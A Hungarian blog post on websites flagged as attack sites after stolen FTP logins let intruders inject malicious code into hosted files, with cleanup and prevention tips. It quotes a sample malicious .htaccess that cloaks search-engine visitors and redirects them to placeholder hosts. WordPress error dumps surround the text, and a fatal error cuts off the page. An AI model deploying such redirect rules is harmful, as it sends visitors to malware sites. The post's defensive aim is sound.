Rendszergazda & webfejlesztő devblog Laczkó Zoltán blogja

16Már/100

Bejelentett támadó webhely avagy ftp-vírus


( ! ) Warning: get_object_vars() expects parameter 1 to be object, string given in /var/www/clients/client1/web59/web/wp-includes/class-wp-post.php on line 265
Call Stack
#TimeMemoryFunctionLocation
10.0000363344{main}( ).../index.php:0
20.0001363624require( '/var/www/clients/client1/web59/web/wp-blog-header.php' ).../index.php:17
30.324058984552require_once( '/var/www/clients/client1/web59/web/wp-includes/template-loader.php' ).../wp-blog-header.php:19
40.333259033520include( '/var/www/clients/client1/web59/web/wp-content/themes/lightword/single.php' ).../template-loader.php:106
50.344859137648the_content( ).../single.php:12
60.344959145904apply_filters( ).../post-template.php:253
70.344959146304WP_Hook->apply_filters( ).../plugin.php:206
80.346459157712wp_filter_content_tags( ).../class-wp-hook.php:287
90.346959167056wp_img_tag_add_srcset_and_sizes_attr( ).../media.php:1780
100.346959167056wp_get_attachment_metadata( ).../media.php:1909
110.346959167056get_post( ).../post.php:5963
120.346959167120WP_Post::get_instance( ).../post.php:780
130.346959167568WP_Post->__construct( ).../class-wp-post.php:254
140.346959167568get_object_vars ( ).../class-wp-post.php:265

( ! ) Warning: Invalid argument supplied for foreach() in /var/www/clients/client1/web59/web/wp-includes/class-wp-post.php on line 265
Call Stack
#TimeMemoryFunctionLocation
10.0000363344{main}( ).../index.php:0
20.0001363624require( '/var/www/clients/client1/web59/web/wp-blog-header.php' ).../index.php:17
30.324058984552require_once( '/var/www/clients/client1/web59/web/wp-includes/template-loader.php' ).../wp-blog-header.php:19
40.333259033520include( '/var/www/clients/client1/web59/web/wp-content/themes/lightword/single.php' ).../template-loader.php:106
50.344859137648the_content( ).../single.php:12
60.344959145904apply_filters( ).../post-template.php:253
70.344959146304WP_Hook->apply_filters( ).../plugin.php:206
80.346459157712wp_filter_content_tags( ).../class-wp-hook.php:287
90.346959167056wp_img_tag_add_srcset_and_sizes_attr( ).../media.php:1780
100.346959167056wp_get_attachment_metadata( ).../media.php:1909
110.346959167056get_post( ).../post.php:5963
120.346959167120WP_Post::get_instance( ).../post.php:780
130.346959167568WP_Post->__construct( ).../class-wp-post.php:254

Nem új keletű a dolog, de sajnos még most is elég gyakran kérnek tőlem segítséget, hogy vírusos a weblapjuk, mit tegyenek. Ez a jelenség az, amikor a weblap megnyitása előtt bejön egy oldal, miszerint "Bejelentett támadó webhely" a weboldal és csak saját felelősségünkre tudunk eljutni az oldalra.

Bejelentett támadó webhely

Egy ilyen figyelmeztető oldalt látunk, amikor meg akarjuk nyitni az oldalt a böngészőnkben.

Mi is a vírusos?

Elsőnek is tisztázzunk egy nagy félreértést, ugyanis ilyenkor nem a honlapot futtató szerver fertőződik meg, hanem a weblap tárhelyén lévő fájlokat módosítják, kiegészítve kártékony kódokkal.

A tárhelyen lényegében nincs semmilyen vírus, azon többnyire csak szöveges (html/php/css/js) fájlok, illetve média fájlok (jpg/gif/swf) vannak. Viszont ha ezeket a szöveges fájlokat úgy módosítjuk, hogy amikor egy látogató a weblapot megnyitja, akkor a böngészőjét átirányítják olyan preparált oldalakra, amik megpróbálják különféle vírusokkal, trójai programokkal megfertőzni a számítógépet.

Hogy fértek hozzá a tárhelyhez?

Az összes eddigi, általam ismert esetben nem a szolgáltató szerverének feltörésével jutottak a tárhely FTP hozzáféréséhez, hanem egy olyan felhasználó gépről került ki, akinek volt hozzáférése. Ez többnyire a weboldal tulajdonosa, vagy esetleg az általa megbízott szakember gépe. Tipikusan a számítógépen lévő FTP kliens programok elmentett beállításait, illetve mivel az FTP kommunikáció titkosítatlan csatornán folyik, ezért forgalom naplózással szerzik meg a hozzáféréseket, amit azután egy ismeretlen (többnyire orosz, török, kínai) szerverre továbbít kódolatlan formában.

A hozzáférés továbbítása után akár pár órával is, egy másik, szintén ismeretlen szerverről belépnek a tárhelyre, és módosítják az index.*, default.*, auth.* és további fájlokat, illetve az utóbbi időkben pedig már a *.js fájlokat is. A fájlokba a <body> része után közvetlenül, vagy a </body> rész elé, vagy a </html> után szúrják be. A módosítások kódolt JavaScript, vagy egyéb HTML kódok, mint pl 0px -es iframe, pdf, vagy flash beágyazása.

Egy újabb módszerrel is találkozni, amikor nem az előbb említett módon irányítják az embereket a fertőzött oldalakra, hanem a tárhelyen a .htaccess szolgáltatást használják ki, amellyel bekapcsolják a mod_rewrite -ot. Ilyenkor trükkösen csak a keresőkből érkező látogatókat irányítják át. Így történhet meg, hogy a weboldal tulajdonosának hiába jelzik többen is, hogy vírusos az oldala, amikor megnyitja a weboldalt, nem tapasztal semmi arra utalót.

Példák a módosításokra

Természetesen ezek a példák csak részletei a valós módosításoknak, egyik példa sem működőképes ilyen formában.

html/php módosítások

Támadó webhely html módosítás példa

Támadó webhely html módosítás példa

.htaccess módosítások

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://xyz.info/go.php [R=301,L]
ErrorDocument 401 http://xyz.ru/
ErrorDocument 403 http://xyz.ru/
ErrorDocument 404 http://xyz.ru/
ErrorDocument 500 http://xyz.ru/
Redirect / http://xyz.ru/?

Mi a teendő, ha már megtörtént a baj

Mivel a hozzáférésünk kikerült, ezért időről időre újra és újra megpróbálnak hozzáférni a tárhelyhez, ezért ajánlott a lentiek sorrendjét is betartani.

  • Derítsük ki, hogy mely gépről került ki a jelszó, és szüntessük meg rajta a fertőzést.
  • Változtassuk meg az FTP hozzáférést.
  • Távolítsuk el a kártékony részeket. Érdemes szakember segítségét kérni, aki forrás szinten átnézi a teljes weboldalt.
  • Olvassuk el a Google Sugóját, StopBadware oldalakat.
  • Google Webmaster Tools -ban kérvényezzük a weboldalunk felülvizsgálatát.
  • Ha phishing áldozata lettél, akkor itt is kérj egy felülvizsgálatot.
  • Legyünk türelmesek. A felülvizsgálatok néha pár napot is igénybe vesznek. Ha nem találnak olyan részeket, amelyekről nem lettet eltávolítva a módosítások, akkor szinte azonnal kikerül a weboldal a rendszerből.

Megelőzés

  • Használjunk naprakész víruskeresőt, tűzfal programot.
  • A hozzáféréseinket lehetőleg ne tároljuk el FTP kliens programokban. A TotalCommander az egyik legelterjedtebb program, így a vírusoknak is ez az elsődleges célpontjuk.
  • Ha lehetőség van rá, akkor használjunk titkosított protokollt (SSH, SFTP).
  • A jelszavunk kellően bonyolult és máshol nem használt legyen.
  • Helyezzünk el egy megfelelő .ftpaccess fájlt a tárhelyen.
  • Rendszeresen készítsünk biztonsági mentést
  • Hozzuk létre az abuse@ és webmaster@ kezdetű emaileket. Ide érkezik értesítés az esetleges bejelentésről.

( ! ) Warning: get_object_vars() expects parameter 1 to be object, string given in /var/www/clients/client1/web59/web/wp-includes/class-wp-comment.php on line 205
Call Stack
#TimeMemoryFunctionLocation
10.0000363344{main}( ).../index.php:0
20.0001363624require( '/var/www/clients/client1/web59/web/wp-blog-header.php' ).../index.php:17
30.324058984552require_once( '/var/www/clients/client1/web59/web/wp-includes/template-loader.php' ).../wp-blog-header.php:19
40.333259033520include( '/var/www/clients/client1/web59/web/wp-content/themes/lightword/single.php' ).../template-loader.php:106
50.352559150488comments_template( ).../single.php:38
60.352659151968WP_Comment_Query->__construct( ).../comment-template.php:1471
70.352659154584WP_Comment_Query->query( ).../class-wp-comment-query.php:303
80.352659154584WP_Comment_Query->get_comments( ).../class-wp-comment-query.php:346
90.352859162592get_comment( ).../class-wp-comment-query.php:457
100.352859162624WP_Comment::get_instance( ).../comment.php:205
110.352859163008WP_Comment->__construct( ).../class-wp-comment.php:192
120.352859163008get_object_vars ( ).../class-wp-comment.php:205

( ! ) Warning: Invalid argument supplied for foreach() in /var/www/clients/client1/web59/web/wp-includes/class-wp-comment.php on line 205
Call Stack
#TimeMemoryFunctionLocation
10.0000363344{main}( ).../index.php:0
20.0001363624require( '/var/www/clients/client1/web59/web/wp-blog-header.php' ).../index.php:17
30.324058984552require_once( '/var/www/clients/client1/web59/web/wp-includes/template-loader.php' ).../wp-blog-header.php:19
40.333259033520include( '/var/www/clients/client1/web59/web/wp-content/themes/lightword/single.php' ).../template-loader.php:106
50.352559150488comments_template( ).../single.php:38
60.352659151968WP_Comment_Query->__construct( ).../comment-template.php:1471
70.352659154584WP_Comment_Query->query( ).../class-wp-comment-query.php:303
80.352659154584WP_Comment_Query->get_comments( ).../class-wp-comment-query.php:346
90.352859162592get_comment( ).../class-wp-comment-query.php:457
100.352859162624WP_Comment::get_instance( ).../comment.php:205
110.352859163008WP_Comment->__construct( ).../class-wp-comment.php:192

( ! ) Fatal error: Uncaught Error: Call to a member function populated_children() on null in /var/www/clients/client1/web59/web/wp-includes/class-wp-comment-query.php on line 1069
( ! ) Error: Call to a member function populated_children() on null in /var/www/clients/client1/web59/web/wp-includes/class-wp-comment-query.php on line 1069
Call Stack
#TimeMemoryFunctionLocation
10.0000363344{main}( ).../index.php:0
20.0001363624require( '/var/www/clients/client1/web59/web/wp-blog-header.php' ).../index.php:17
30.324058984552require_once( '/var/www/clients/client1/web59/web/wp-includes/template-loader.php' ).../wp-blog-header.php:19
40.333259033520include( '/var/www/clients/client1/web59/web/wp-content/themes/lightword/single.php' ).../template-loader.php:106
50.352559150488comments_template( ).../single.php:38
60.352659151968WP_Comment_Query->__construct( ).../comment-template.php:1471
70.352659154584WP_Comment_Query->query( ).../class-wp-comment-query.php:303
80.352659154584WP_Comment_Query->get_comments( ).../class-wp-comment-query.php:346
90.352959163672WP_Comment_Query->fill_descendants( ).../class-wp-comment-query.php:487